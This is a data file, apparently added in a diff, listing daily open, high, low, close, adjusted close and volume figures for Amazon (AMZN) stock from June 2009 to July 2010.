+2009-06-09,86.93000030517578,87.66999816894531,86.16999816894531,87.08000183105469,87.08000183105469,4475100,AMZN
+2009-06-10,87.58000183105469,88.55999755859375,84.83000183105469,86.58999633789062,86.58999633789062,6073600,AMZN
+2009-06-11,86.30000305175781,87.48999786376953,85.05000305175781,85.69000244140625,85.69000244140625,5009700,AMZN
+2009-06-12,85.02999877929688,85.19999694824219,82.01000213623047,84.08000183105469,84.08000183105469,6223000,AMZN
+2009-06-15,82.83000183105469,83.30000305175781,81.0,83.18000030517578,83.18000030517578,5401800,AMZN
+2009-06-16,83.69999694824219,83.94999694824219,81.27999877929688,82.1500015258789,82.1500015258789,5465800,AMZN
+2009-06-17,82.5,84.30000305175781,80.63999938964844,82.6500015258789,82.6500015258789,7785100,AMZN
+2009-06-18,82.80999755859375,82.94999694824219,81.0,81.5999984741211,81.5999984741211,5453100,AMZN
+2009-06-19,82.1500015258789,83.45999908447266,81.5,82.95999908447266,82.95999908447266,5438200,AMZN
+2009-06-22,82.41000366210938,82.43000030517578,78.55999755859375,79.1500015258789,79.1500015258789,9744400,AMZN
+2009-06-23,78.97000122070312,79.0999984741211,76.25,77.68000030517578,77.68000030517578,7415500,AMZN
+2009-06-24,78.0,80.52999877929688,77.80000305175781,79.2699966430664,79.2699966430664,6081400,AMZN
+2009-06-25,79.0999984741211,82.2300033569336,79.02999877929688,82.19999694824219,82.19999694824219,7360400,AMZN
+2009-06-26,81.9000015258789,84.13999938964844,81.12999725341797,83.87999725341797,83.87999725341797,8775300,AMZN
+2009-06-29,83.87000274658203,84.19999694824219,82.41000366210938,83.02999877929688,83.02999877929688,6270300,AMZN
+2009-06-30,83.62000274658203,84.91999816894531,82.47000122070312,83.66000366210938,83.66000366210938,7984800,AMZN
+2009-07-01,84.41999816894531,84.5,81.37000274658203,81.5999984741211,81.5999984741211,6981200,AMZN
+2009-07-02,81.11000061035156,81.37000274658203,78.51000213623047,79.31999969482422,79.31999969482422,7218600,AMZN
+2009-07-06,78.44999694824219,78.88999938964844,76.54000091552734,78.0999984741211,78.0999984741211,7368800,AMZN
+2009-07-07,78.52999877929688,78.69000244140625,75.41000366210938,75.62999725341797,75.62999725341797,6491500,AMZN
+2009-07-08,76.45999908447266,77.93000030517578,75.69999694824219,77.36000061035156,77.36000061035156,8540700,AMZN
+2009-07-09,78.25,78.54000091552734,76.81999969482422,78.0999984741211,78.0999984741211,6359500,AMZN
+2009-07-10,77.5199966430664,78.81999969482422,76.16999816894531,77.62999725341797,77.62999725341797,5976100,AMZN
+2009-07-13,78.06999969482422,81.6500015258789,78.01000213623047,81.47000122070312,81.47000122070312,8050200,AMZN
+2009-07-14,81.4800033569336,82.41999816894531,80.41999816894531,81.94999694824219,81.94999694824219,4543600,AMZN
+2009-07-15,83.0,84.63999938964844,82.77999877929688,84.55000305175781,84.55000305175781,6339000,AMZN
+2009-07-16,84.41999816894531,86.23999786376953,83.72000122070312,86.11000061035156,86.11000061035156,5361900,AMZN
+2009-07-17,85.80000305175781,86.5,85.19999694824219,85.8499984741211,85.8499984741211,5051600,AMZN
+2009-07-20,86.2699966430664,88.87999725341797,86.26000213623047,88.2300033569336,88.2300033569336,6056600,AMZN
+2009-07-21,88.5199966430664,89.01000213623047,87.4000015258789,89.01000213623047,89.01000213623047,7728600,AMZN
+2009-07-22,88.6500015258789,89.2300033569336,87.77999877929688,88.79000091552734,88.79000091552734,5329600,AMZN
+2009-07-23,89.83999633789062,94.4000015258789,89.58999633789062,93.87000274658203,93.87000274658203,19162100,AMZN
+2009-07-24,87.5999984741211,88.9000015258789,85.5,86.48999786376953,86.48999786376953,19204600,AMZN
+2009-07-27,86.23999786376953,86.48999786376953,83.55999755859375,84.23999786376953,84.23999786376953,11279300,AMZN
+2009-07-28,83.83999633789062,85.63999938964844,82.5999984741211,84.9800033569336,84.9800033569336,8774900,AMZN
+2009-07-29,84.47000122070312,85.5,83.5199966430664,84.33999633789062,84.33999633789062,6502900,AMZN
+2009-07-30,85.63999938964844,87.25,85.16999816894531,86.08999633789062,86.08999633789062,7253200,AMZN
+2009-07-31,85.76000213623047,86.75,84.62000274658203,85.76000213623047,85.76000213623047,5886900,AMZN
+2009-08-03,86.55999755859375,88.19999694824219,86.55999755859375,87.44000244140625,87.44000244140625,6663000,AMZN
+2009-08-04,87.4800033569336,87.4800033569336,84.93000030517578,85.80000305175781,85.80000305175781,6177900,AMZN
+2009-08-05,85.63999938964844,85.75,83.0199966430664,84.29000091552734,84.29000091552734,7279400,AMZN
+2009-08-06,84.30999755859375,84.83999633789062,83.05000305175781,84.47000122070312,84.47000122070312,4693000,AMZN
+2009-08-07,84.0999984741211,85.95999908447266,84.0999984741211,85.31999969482422,85.31999969482422,5628000,AMZN
+2009-08-10,85.01000213623047,85.47000122070312,83.2699966430664,84.44000244140625,84.44000244140625,4440600,AMZN
+2009-08-11,83.63999938964844,84.4000015258789,82.44999694824219,83.55999755859375,83.55999755859375,5025000,AMZN
+2009-08-12,83.41999816894531,86.5999984741211,83.37999725341797,85.95999908447266,85.95999908447266,5619400,AMZN
+2009-08-13,85.72000122070312,86.37000274658203,84.06999969482422,84.5999984741211,84.5999984741211,5712400,AMZN
+2009-08-14,84.11000061035156,84.16999816894531,82.77999877929688,83.58000183105469,83.58000183105469,4924700,AMZN
+2009-08-17,81.16000366210938,81.77999877929688,80.25,81.05999755859375,81.05999755859375,6888600,AMZN
+2009-08-18,81.41000366210938,82.69000244140625,80.79000091552734,82.12000274658203,82.12000274658203,5884400,AMZN
+2009-08-19,80.91000366210938,83.0,80.48999786376953,83.0,83.0,5170600,AMZN
+2009-08-20,82.9800033569336,84.3499984741211,82.66000366210938,84.08999633789062,84.08999633789062,5375000,AMZN
+2009-08-21,84.77999877929688,85.05999755859375,83.54000091552734,85.0,85.0,6130700,AMZN
+2009-08-24,85.16999816894531,85.58999633789062,84.23999786376953,84.5,84.5,4723200,AMZN
+2009-08-25,84.66000366210938,86.33999633789062,83.94999694824219,84.19000244140625,84.19000244140625,4791000,AMZN
+2009-08-26,84.0999984741211,84.76000213623047,83.37999725341797,84.0,84.0,3613800,AMZN
+2009-08-27,84.01000213623047,84.8499984741211,83.13999938964844,84.30999755859375,84.30999755859375,3997700,AMZN
+2009-08-28,84.77999877929688,84.98999786376953,82.56999969482422,82.76000213623047,82.76000213623047,4620700,AMZN
+2009-08-31,81.93000030517578,81.94999694824219,80.3499984741211,81.19000244140625,81.19000244140625,5263800,AMZN
+2009-09-01,80.73999786376953,82.41999816894531,79.0,79.16000366210938,79.16000366210938,6245800,AMZN
+2009-09-02,79.04000091552734,80.1500015258789,77.80000305175781,78.13999938964844,78.13999938964844,6512700,AMZN
+2009-09-03,78.38999938964844,78.95999908447266,77.51000213623047,78.45999908447266,78.45999908447266,4140200,AMZN
+2009-09-04,78.2699966430664,79.77999877929688,77.62999725341797,78.87000274658203,78.87000274658203,4671500,AMZN
+2009-09-08,79.86000061035156,81.04000091552734,78.87000274658203,80.9000015258789,80.9000015258789,7037600,AMZN
+2009-09-09,80.5999984741211,82.62999725341797,80.5,82.23999786376953,82.23999786376953,6776200,AMZN
+2009-09-10,82.33000183105469,84.06999969482422,82.30000305175781,83.8499984741211,83.8499984741211,7023100,AMZN
+2009-09-11,84.44000244140625,84.9000015258789,83.76000213623047,84.54000091552734,84.54000091552734,6006900,AMZN
+2009-09-14,83.80999755859375,84.56999969482422,83.45999908447266,83.86000061035156,83.86000061035156,3572000,AMZN
+2009-09-15,84.16999816894531,84.41000366210938,82.79000091552734,83.55000305175781,83.55000305175781,4446800,AMZN
+2009-09-16,85.91000366210938,90.9800033569336,85.9000015258789,90.69999694824219,90.69999694824219,13114300,AMZN
+2009-09-17,90.75,91.19000244140625,89.0,90.44000244140625,90.44000244140625,7872700,AMZN
+2009-09-18,90.73999786376953,91.0,89.47000122070312,90.27999877929688,90.27999877929688,6769500,AMZN
+2009-09-21,89.69000244140625,90.76000213623047,88.4800033569336,90.55999755859375,90.55999755859375,4209300,AMZN
+2009-09-22,91.45999908447266,94.19000244140625,91.0999984741211,93.75,93.75,8264900,AMZN
+2009-09-23,92.81999969482422,94.5,92.22000122070312,92.37999725341797,92.37999725341797,5685300,AMZN
+2009-09-24,92.0,92.70999908447266,90.7699966430664,92.11000061035156,92.11000061035156,5075100,AMZN
+2009-09-25,91.44000244140625,92.25,89.75,90.5199966430664,90.5199966430664,4256800,AMZN
+2009-09-28,91.04000091552734,92.80999755859375,90.5999984741211,92.20999908447266,92.20999908447266,3508000,AMZN
+2009-09-29,91.95999908447266,92.33000183105469,90.0999984741211,91.72000122070312,91.72000122070312,4393900,AMZN
+2009-09-30,92.26000213623047,94.16999816894531,91.43000030517578,93.36000061035156,93.36000061035156,8539200,AMZN
+2009-10-01,92.5,92.9000015258789,90.37000274658203,91.04000091552734,91.04000091552734,6645100,AMZN
+2009-10-02,90.05000305175781,91.13999938964844,89.58000183105469,89.8499984741211,89.8499984741211,5039400,AMZN
+2009-10-05,90.25,90.93000030517578,88.2699966430664,88.66999816894531,88.66999816894531,7028500,AMZN
+2009-10-06,89.33000183105469,91.08000183105469,88.4000015258789,90.91000366210938,90.91000366210938,6963700,AMZN
+2009-10-07,91.5,94.4800033569336,91.1500015258789,93.97000122070312,93.97000122070312,7445100,AMZN
+2009-10-08,94.80000305175781,96.72000122070312,94.2300033569336,95.22000122070312,95.22000122070312,9674300,AMZN
+2009-10-09,95.0,95.94999694824219,94.26000213623047,95.70999908447266,95.70999908447266,4694000,AMZN
+2009-10-12,96.16999816894531,96.25,93.06999969482422,93.5999984741211,93.5999984741211,5591400,AMZN
+2009-10-13,93.83000183105469,95.25,93.68000030517578,94.83000183105469,94.83000183105469,4720000,AMZN
+2009-10-14,96.22000122070312,97.81999969482422,96.0199966430664,97.45999908447266,97.45999908447266,5556800,AMZN
+2009-10-15,95.12999725341797,97.05999755859375,95.08000183105469,96.01000213623047,96.01000213623047,6242100,AMZN
+2009-10-16,95.30000305175781,96.12000274658203,93.61000061035156,95.31999969482422,95.31999969482422,7038400,AMZN
+2009-10-19,95.3499984741211,96.27999877929688,94.25,94.68000030517578,94.68000030517578,6017400,AMZN
+2009-10-20,95.91000366210938,96.0999984741211,94.2699966430664,94.9800033569336,94.9800033569336,7777600,AMZN
+2009-10-21,95.2699966430664,96.62999725341797,92.91000366210938,93.41999816894531,93.41999816894531,7761200,AMZN
+2009-10-22,93.66000366210938,94.0999984741211,91.69999694824219,93.44999694824219,93.44999694824219,16518500,AMZN
+2009-10-23,111.05000305175781,119.6500015258789,110.62000274658203,118.48999786376953,118.48999786376953,58305800,AMZN
+2009-10-26,119.20999908447266,125.68000030517578,118.48999786376953,124.63999938964844,124.63999938964844,32271200,AMZN
+2009-10-27,122.93000030517578,124.26000213623047,119.41999816894531,122.06999969482422,122.06999969482422,20304200,AMZN
+2009-10-28,121.56999969482422,125.12000274658203,120.76000213623047,121.63999938964844,121.63999938964844,16887700,AMZN
+2009-10-29,123.9000015258789,124.30000305175781,120.12000274658203,122.58000183105469,122.58000183105469,12821800,AMZN
+2009-10-30,121.97000122070312,122.9000015258789,118.20999908447266,118.80999755859375,118.80999755859375,13312200,AMZN
+2009-11-02,118.66000366210938,119.5,116.70999908447266,118.83999633789062,118.83999633789062,11280000,AMZN
+2009-11-03,117.66999816894531,118.87999725341797,116.62999725341797,118.37000274658203,118.37000274658203,9478500,AMZN
+2009-11-04,119.0,119.25,116.76000213623047,117.0999984741211,117.0999984741211,7617500,AMZN
+2009-11-05,117.45999908447266,120.94999694824219,116.25,120.61000061035156,120.61000061035156,9086800,AMZN
+2009-11-06,123.0,126.9800033569336,122.66999816894531,126.19999694824219,126.19999694824219,13226000,AMZN
+2009-11-09,127.11000061035156,128.32000732421875,125.58999633789062,126.66999816894531,126.66999816894531,8624200,AMZN
+2009-11-10,126.80000305175781,130.61000061035156,126.0,130.14999389648438,130.14999389648438,10529300,AMZN
+2009-11-11,131.0800018310547,131.30999755859375,128.3300018310547,129.91000366210938,129.91000366210938,7434200,AMZN
+2009-11-12,129.97999572753906,132.14999389648438,129.97999572753906,130.52999877929688,130.52999877929688,7210100,AMZN
+2009-11-13,131.16000366210938,132.99000549316406,129.75,132.97000122070312,132.97000122070312,7376800,AMZN
+2009-11-16,132.1199951171875,134.55999755859375,130.97999572753906,131.58999633789062,131.58999633789062,9018300,AMZN
+2009-11-17,131.39999389648438,131.85000610351562,129.32000732421875,131.25,131.25,7748000,AMZN
+2009-11-18,130.89999389648438,131.41000366210938,129.52999877929688,131.2899932861328,131.2899932861328,5213500,AMZN
+2009-11-19,130.5399932861328,130.5399932861328,128.47999572753906,128.99000549316406,128.99000549316406,5998200,AMZN
+2009-11-20,127.76000213623047,129.99000549316406,127.41000366210938,129.66000366210938,129.66000366210938,6652600,AMZN
+2009-11-23,131.0500030517578,133.0,131.0,133.0,133.0,6878100,AMZN
+2009-11-24,133.57000732421875,134.3300018310547,132.22000122070312,132.94000244140625,132.94000244140625,7319700,AMZN
+2009-11-25,133.30999755859375,134.1999969482422,132.39999389648438,134.02999877929688,134.02999877929688,5071200,AMZN
+2009-11-27,130.3000030517578,133.0,129.8800048828125,131.74000549316406,131.74000549316406,4422600,AMZN
+2009-11-30,132.19000244140625,136.0800018310547,132.16000366210938,135.91000366210938,135.91000366210938,10119500,AMZN
+2009-12-01,136.94000244140625,139.35000610351562,135.75,138.5,138.5,9657600,AMZN
+2009-12-02,139.14999389648438,142.6699981689453,138.9600067138672,142.25,142.25,11798000,AMZN
+2009-12-03,143.6199951171875,145.91000366210938,140.77000427246094,141.1699981689453,141.1699981689453,16523500,AMZN
+2009-12-04,143.4199981689453,143.4499969482422,135.11000061035156,137.5800018310547,137.5800018310547,14827400,AMZN
+2009-12-07,138.0,139.0,133.83999633789062,134.2100067138672,134.2100067138672,7837000,AMZN
+2009-12-08,134.3000030517578,136.0800018310547,132.8699951171875,134.11000061035156,134.11000061035156,8002800,AMZN
+2009-12-09,134.60000610351562,134.7100067138672,129.82000732421875,131.30999755859375,131.30999755859375,12632900,AMZN
+2009-12-10,132.41000366210938,136.19000244140625,132.39999389648438,135.3800048828125,135.3800048828125,11343600,AMZN
+2009-12-11,136.07000732421875,136.2899932861328,133.1999969482422,134.14999389648438,134.14999389648438,8046700,AMZN
+2009-12-14,132.5,132.61000061035156,129.35000610351562,131.3800048828125,131.3800048828125,10022900,AMZN
+2009-12-15,130.75999450683594,132.4600067138672,129.58999633789062,130.22999572753906,130.22999572753906,7428800,AMZN
+2009-12-16,130.92999267578125,131.4499969482422,127.6500015258789,128.36000061035156,128.36000061035156,10261300,AMZN
+2009-12-17,129.36000061035156,130.0800018310547,126.9000015258789,126.91000366210938,126.91000366210938,8476500,AMZN
+2009-12-18,127.91000366210938,128.7899932861328,125.6500015258789,128.47999572753906,128.47999572753906,9605400,AMZN
+2009-12-21,130.47999572753906,133.1999969482422,130.19000244140625,132.7899932861328,132.7899932861328,9473600,AMZN
+2009-12-22,133.75999450683594,135.99000549316406,132.64999389648438,133.75,133.75,8257500,AMZN
+2009-12-23,134.8000030517578,139.0500030517578,134.35000610351562,138.94000244140625,138.94000244140625,9546100,AMZN
+2009-12-24,139.1999969482422,139.6999969482422,137.5399932861328,138.47000122070312,138.47000122070312,5128800,AMZN
+2009-12-28,139.75,141.97999572753906,138.52999877929688,139.30999755859375,139.30999755859375,8763900,AMZN
+2009-12-29,141.2899932861328,142.5800018310547,138.5500030517578,139.41000366210938,139.41000366210938,8400600,AMZN
+2009-12-30,138.39999389648438,138.39999389648438,135.27999877929688,136.49000549316406,136.49000549316406,6913200,AMZN
+2009-12-31,137.08999633789062,137.27999877929688,134.52000427246094,134.52000427246094,134.52000427246094,4523000,AMZN
+2010-01-04,136.25,136.61000061035156,133.13999938964844,133.89999389648438,133.89999389648438,7599900,AMZN
+2010-01-05,133.42999267578125,135.47999572753906,131.80999755859375,134.69000244140625,134.69000244140625,8851900,AMZN
+2010-01-06,134.60000610351562,134.72999572753906,131.64999389648438,132.25,132.25,7178800,AMZN
+2010-01-07,132.00999450683594,132.32000732421875,128.8000030517578,130.0,130.0,11030200,AMZN
+2010-01-08,130.55999755859375,133.67999267578125,129.02999877929688,133.52000427246094,133.52000427246094,9830500,AMZN
+2010-01-11,132.6199951171875,132.8000030517578,129.2100067138672,130.30999755859375,130.30999755859375,8779400,AMZN
+2010-01-12,128.99000549316406,129.82000732421875,126.55000305175781,127.3499984741211,127.3499984741211,9096300,AMZN
+2010-01-13,127.9000015258789,129.7100067138672,125.75,129.11000061035156,129.11000061035156,10723200,AMZN
+2010-01-14,129.13999938964844,130.3800048828125,126.4000015258789,127.3499984741211,127.3499984741211,9774900,AMZN
+2010-01-15,129.17999267578125,129.64999389648438,127.05999755859375,127.13999938964844,127.13999938964844,15376500,AMZN
+2010-01-19,126.30999755859375,128.0,124.33000183105469,127.61000061035156,127.61000061035156,8892600,AMZN
+2010-01-20,127.12999725341797,129.1999969482422,125.08000183105469,125.77999877929688,125.77999877929688,9074700,AMZN
+2010-01-21,127.26000213623047,128.14999389648438,125.0,126.62000274658203,126.62000274658203,9970600,AMZN
+2010-01-22,125.5999984741211,127.66999816894531,120.76000213623047,121.43000030517578,121.43000030517578,11568900,AMZN
+2010-01-25,122.0999984741211,122.27999877929688,118.12000274658203,120.30999755859375,120.30999755859375,12023900,AMZN
+2010-01-26,120.55999755859375,122.9800033569336,119.05999755859375,119.4800033569336,119.4800033569336,9559000,AMZN
+2010-01-27,121.02999877929688,123.33000183105469,118.80000305175781,122.75,122.75,14765300,AMZN
+2010-01-28,124.43000030517578,127.19999694824219,122.80000305175781,126.02999877929688,126.02999877929688,27293100,AMZN
+2010-01-29,129.77000427246094,131.85000610351562,124.13999938964844,125.41000366210938,125.41000366210938,29471300,AMZN
+2010-02-01,123.18000030517578,124.86000061035156,113.81999969482422,118.87000274658203,118.87000274658203,37774400,AMZN
+2010-02-02,118.79000091552734,118.9800033569336,114.4000015258789,118.12000274658203,118.12000274658203,23079700,AMZN
+2010-02-03,117.12000274658203,119.61000061035156,116.55999755859375,119.0999984741211,119.0999984741211,12405900,AMZN
+2010-02-04,118.63999938964844,120.33000183105469,115.73999786376953,115.94000244140625,115.94000244140625,12784000,AMZN
+2010-02-05,115.87999725341797,117.6500015258789,114.0999984741211,117.38999938964844,117.38999938964844,11024800,AMZN
+2010-02-08,119.37999725341797,121.0,116.55999755859375,116.83000183105469,116.83000183105469,9890200,AMZN
+2010-02-09,118.19999694824219,119.08999633789062,117.0,118.02999877929688,118.02999877929688,9223000,AMZN
+2010-02-10,118.0,118.61000061035156,116.0,117.36000061035156,117.36000061035156,6233200,AMZN
+2010-02-11,117.20999908447266,120.41999816894531,116.5,120.08999633789062,120.08999633789062,8343500,AMZN
+2010-02-12,118.98999786376953,119.94000244140625,117.5,119.66000366210938,119.66000366210938,8073500,AMZN
+2010-02-16,120.05999755859375,120.5,117.18000030517578,117.52999877929688,117.52999877929688,8932700,AMZN
+2010-02-17,117.06999969482422,117.12999725341797,115.55000305175781,116.30999755859375,116.30999755859375,8944800,AMZN
+2010-02-18,115.83999633789062,118.51000213623047,114.81999969482422,118.08000183105469,118.08000183105469,9800100,AMZN
+2010-02-19,117.91000366210938,119.08999633789062,117.0,117.5199966430664,117.5199966430664,7115600,AMZN
+2010-02-22,117.37000274658203,118.97000122070312,116.18000030517578,118.01000213623047,118.01000213623047,6807300,AMZN
+2010-02-23,118.01000213623047,119.25,116.51000213623047,117.23999786376953,117.23999786376953,7068200,AMZN
+2010-02-24,117.95999908447266,119.80000305175781,117.1500015258789,119.72000122070312,119.72000122070312,7389900,AMZN
+2010-02-25,118.16999816894531,118.33999633789062,115.8499984741211,118.19999694824219,118.19999694824219,9533400,AMZN
+2010-02-26,117.87999725341797,119.43000030517578,117.0,118.4000015258789,118.4000015258789,5721600,AMZN
+2010-03-01,118.69999694824219,124.66000366210938,117.52999877929688,124.54000091552734,124.54000091552734,13296500,AMZN
+2010-03-02,125.01000213623047,127.3499984741211,124.80000305175781,125.52999877929688,125.52999877929688,12097500,AMZN
+2010-03-03,125.4000015258789,126.94000244140625,124.43000030517578,125.88999938964844,125.88999938964844,6440400,AMZN
+2010-03-04,125.9800033569336,128.85000610351562,125.56999969482422,128.52999877929688,128.52999877929688,7509700,AMZN
+2010-03-05,129.1300048828125,129.4499969482422,127.06999969482422,128.91000366210938,128.91000366210938,6769300,AMZN
+2010-03-08,128.3000030517578,130.85000610351562,127.70999908447266,130.11000061035156,130.11000061035156,5605900,AMZN
+2010-03-09,129.58999633789062,130.80999755859375,127.97000122070312,128.82000732421875,128.82000732421875,6070800,AMZN
+2010-03-10,129.11000061035156,131.1699981689453,128.47999572753906,130.50999450683594,130.50999450683594,5625700,AMZN
+2010-03-11,130.4499969482422,133.6199951171875,130.36000061035156,133.5800018310547,133.5800018310547,7240800,AMZN
+2010-03-12,134.1999969482422,134.1999969482422,131.17999267578125,131.82000732421875,131.82000732421875,6150800,AMZN
+2010-03-15,131.6999969482422,132.0,128.6300048828125,131.1300048828125,131.1300048828125,6329200,AMZN
+2010-03-16,131.24000549316406,132.2899932861328,130.5,131.7899932861328,131.7899932861328,4132500,AMZN
+2010-03-17,132.41000366210938,132.69000244140625,131.22000122070312,131.33999633789062,131.33999633789062,4358800,AMZN
+2010-03-18,131.02000427246094,132.85000610351562,130.44000244140625,132.75999450683594,132.75999450683594,5021300,AMZN
+2010-03-19,133.7100067138672,133.7100067138672,129.66000366210938,130.35000610351562,130.35000610351562,8905000,AMZN
+2010-03-22,130.1999969482422,130.9600067138672,128.63999938964844,130.47000122070312,130.47000122070312,5383400,AMZN
+2010-03-23,130.88999938964844,130.94000244140625,128.07000732421875,129.25999450683594,129.25999450683594,4213100,AMZN
+2010-03-24,128.63999938964844,129.39999389648438,127.19999694824219,128.0399932861328,128.0399932861328,4696400,AMZN
+2010-03-25,129.13999938964844,136.91000366210938,128.0399932861328,134.72999572753906,134.72999572753906,16209600,AMZN
+2010-03-26,134.89999389648438,136.99000549316406,133.75999450683594,135.05999755859375,135.05999755859375,6565700,AMZN
+2010-03-29,135.3699951171875,136.6300048828125,134.3300018310547,135.1199951171875,135.1199951171875,4626900,AMZN
+2010-03-30,135.74000549316406,138.19000244140625,135.36000061035156,136.5800018310547,136.5800018310547,6192700,AMZN
+2010-03-31,136.0,136.8000030517578,134.47999572753906,135.77000427246094,135.77000427246094,4600600,AMZN
+2010-04-01,135.8000030517578,136.50999450683594,131.17999267578125,131.80999755859375,131.80999755859375,8785800,AMZN
+2010-04-05,132.85000610351562,133.74000549316406,130.77999877929688,131.49000549316406,131.49000549316406,5816500,AMZN
+2010-04-06,131.22999572753906,136.0,131.17999267578125,135.55999755859375,135.55999755859375,7950300,AMZN
+2010-04-07,135.9600067138672,136.0800018310547,133.86000061035156,134.8699951171875,134.8699951171875,5945400,AMZN
+2010-04-08,134.7100067138672,141.25,134.7100067138672,140.9600067138672,140.9600067138672,12689100,AMZN
+2010-04-09,140.72000122070312,141.3300018310547,139.07000732421875,140.05999755859375,140.05999755859375,6011100,AMZN
+2010-04-12,140.0,142.91000366210938,139.67999267578125,141.1999969482422,141.1999969482422,5445300,AMZN
+2010-04-13,141.22999572753906,141.97999572753906,139.1199951171875,140.16000366210938,140.16000366210938,4785500,AMZN
+2010-04-14,140.33999633789062,144.5,139.1999969482422,144.27999877929688,144.27999877929688,7900300,AMZN
+2010-04-15,144.5500030517578,147.08999633789062,144.0,145.82000732421875,145.82000732421875,7829600,AMZN
+2010-04-16,144.8800048828125,147.1699981689453,141.4499969482422,142.1699981689453,142.1699981689453,8396800,AMZN
+2010-04-19,142.35000610351562,143.6699981689453,139.1300048828125,142.42999267578125,142.42999267578125,6022000,AMZN
+2010-04-20,143.8300018310547,144.63999938964844,142.10000610351562,144.1999969482422,144.1999969482422,4311700,AMZN
+2010-04-21,145.1699981689453,149.0,143.52000427246094,146.42999267578125,146.42999267578125,7374400,AMZN
+2010-04-22,147.00999450683594,151.08999633789062,145.8800048828125,150.08999633789062,150.08999633789062,15165800,AMZN
+2010-04-23,145.3800048828125,149.08999633789062,142.4199981689453,143.6300048828125,143.6300048828125,18975200,AMZN
+2010-04-26,143.1999969482422,147.72999572753906,142.89999389648438,147.11000061035156,147.11000061035156,9318300,AMZN
+2010-04-27,145.5500030517578,146.44000244140625,141.11000061035156,142.02000427246094,142.02000427246094,8639000,AMZN
+2010-04-28,142.58999633789062,142.75,138.69000244140625,139.35000610351562,139.35000610351562,9235300,AMZN
+2010-04-29,140.08999633789062,142.4499969482422,139.7899932861328,141.72999572753906,141.72999572753906,6314200,AMZN
+2010-04-30,141.39999389648438,141.39999389648438,136.91000366210938,137.10000610351562,137.10000610351562,6113500,AMZN
+2010-05-03,137.1999969482422,139.44000244140625,136.11000061035156,137.49000549316406,137.49000549316406,5654600,AMZN
+2010-05-04,135.6199951171875,135.80999755859375,128.3800048828125,129.8300018310547,129.8300018310547,12667800,AMZN
+2010-05-05,128.0,131.61000061035156,127.55000305175781,130.92999267578125,130.92999267578125,9458100,AMZN
+2010-05-06,130.0,132.3300018310547,120.5999984741211,128.7100067138672,128.7100067138672,10189000,AMZN
+2010-05-07,127.97000122070312,131.17999267578125,123.76000213623047,124.9800033569336,124.9800033569336,11927600,AMZN
+2010-05-10,129.72999572753906,132.2100067138672,129.25999450683594,131.2899932861328,131.2899932861328,6806100,AMZN
+2010-05-11,129.9499969482422,133.0800018310547,128.47000122070312,130.4600067138672,130.4600067138672,6044100,AMZN
+2010-05-12,131.41000366210938,134.1300048828125,129.67999267578125,133.8699951171875,133.8699951171875,5904500,AMZN
+2010-05-13,133.92999267578125,136.99000549316406,131.0,131.47000122070312,131.47000122070312,5940200,AMZN
+2010-05-14,130.36000061035156,131.0,126.76000213623047,128.52999877929688,128.52999877929688,5277800,AMZN
+2010-05-17,128.24000549316406,129.9499969482422,125.80000305175781,128.91000366210938,128.91000366210938,5642200,AMZN
+2010-05-18,130.13999938964844,131.25,125.51000213623047,126.27999877929688,126.27999877929688,5256900,AMZN
+2010-05-19,125.51000213623047,127.93000030517578,123.80000305175781,124.58999633789062,124.58999633789062,6463300,AMZN
+2010-05-20,122.63999938964844,125.0,118.77999877929688,119.70999908447266,119.70999908447266,8594400,AMZN
+2010-05-21,117.9000015258789,124.97000122070312,117.5199966430664,122.72000122070312,122.72000122070312,7966900,AMZN
+2010-05-24,122.56999969482422,124.5,120.6500015258789,122.12000274658203,122.12000274658203,4535900,AMZN
+2010-05-25,118.54000091552734,125.19000244140625,118.5,124.86000061035156,124.86000061035156,6913400,AMZN
+2010-05-26,125.05000305175781,125.79000091552734,122.30000305175781,123.20999908447266,123.20999908447266,6964600,AMZN
+2010-05-27,124.9800033569336,126.8499984741211,120.5999984741211,126.69999694824219,126.69999694824219,4747700,AMZN
+2010-05-28,126.06999969482422,127.5999984741211,124.01000213623047,125.45999908447266,125.45999908447266,3954800,AMZN
+2010-06-01,124.97000122070312,126.56999969482422,123.0199966430664,123.23999786376953,123.23999786376953,3659500,AMZN
+2010-06-02,124.0199966430664,126.43000030517578,121.6500015258789,126.30999755859375,126.30999755859375,4764700,AMZN
+2010-06-03,126.25,129.14999389648438,124.8499984741211,128.75999450683594,128.75999450683594,5276900,AMZN
+2010-06-04,126.33000183105469,128.1999969482422,122.18000030517578,122.7699966430664,122.7699966430664,5497700,AMZN
+2010-06-07,125.83999633789062,126.61000061035156,121.66999816894531,122.01000213623047,122.01000213623047,6566400,AMZN
+2010-06-08,122.0,122.0,115.80000305175781,118.83999633789062,118.83999633789062,11484400,AMZN
+2010-06-09,120.30999755859375,121.47000122070312,117.36000061035156,117.91000366210938,117.91000366210938,7369200,AMZN
+2010-06-10,120.0,123.5,119.19999694824219,123.20999908447266,123.20999908447266,6061800,AMZN
+2010-06-11,121.38999938964844,123.52999877929688,120.29000091552734,123.02999877929688,123.02999877929688,4204600,AMZN
+2010-06-14,124.23999786376953,125.69999694824219,123.5,123.83000183105469,123.83000183105469,3923000,AMZN
+2010-06-15,123.19999694824219,126.91999816894531,122.5,126.83999633789062,126.83999633789062,4541000,AMZN
+2010-06-16,125.38999938964844,127.9800033569336,125.36000061035156,126.9000015258789,126.9000015258789,3964300,AMZN
+2010-06-17,126.73999786376953,127.80000305175781,124.69000244140625,125.88999938964844,125.88999938964844,3479000,AMZN
+2010-06-18,126.4800033569336,127.4800033569336,125.06999969482422,125.83000183105469,125.83000183105469,3836000,AMZN
+2010-06-21,126.79000091552734,127.4800033569336,121.41000366210938,122.55000305175781,122.55000305175781,5327700,AMZN
+2010-06-22,122.6500015258789,125.2300033569336,121.55000305175781,122.30999755859375,122.30999755859375,6207200,AMZN
+2010-06-23,122.11000061035156,123.22000122070312,120.04000091552734,121.44999694824219,121.44999694824219,5455100,AMZN
+2010-06-24,120.61000061035156,120.8499984741211,116.80000305175781,118.33000183105469,118.33000183105469,7771100,AMZN
+2010-06-25,118.13999938964844,121.76000213623047,117.62999725341797,121.0,121.0,5769700,AMZN
+2010-06-28,118.8499984741211,120.04000091552734,117.0999984741211,117.80000305175781,117.80000305175781,5612200,AMZN
+2010-06-29,116.26000213623047,116.4800033569336,106.01000213623047,108.61000061035156,108.61000061035156,12866300,AMZN
+2010-06-30,108.58000183105469,112.68000030517578,108.11000061035156,109.26000213623047,109.26000213623047,9740700,AMZN
+2010-07-01,108.9000015258789,111.69000244140625,106.69999694824219,110.95999908447266,110.95999908447266,8529800,AMZN
+2010-07-02,110.91999816894531,111.29000091552734,108.55999755859375,109.13999938964844,109.13999938964844,4477100,AMZN
+2010-07-06,110.6500015258789,112.52999877929688,109.0,110.05999755859375,110.05999755859375,5219300,AMZN
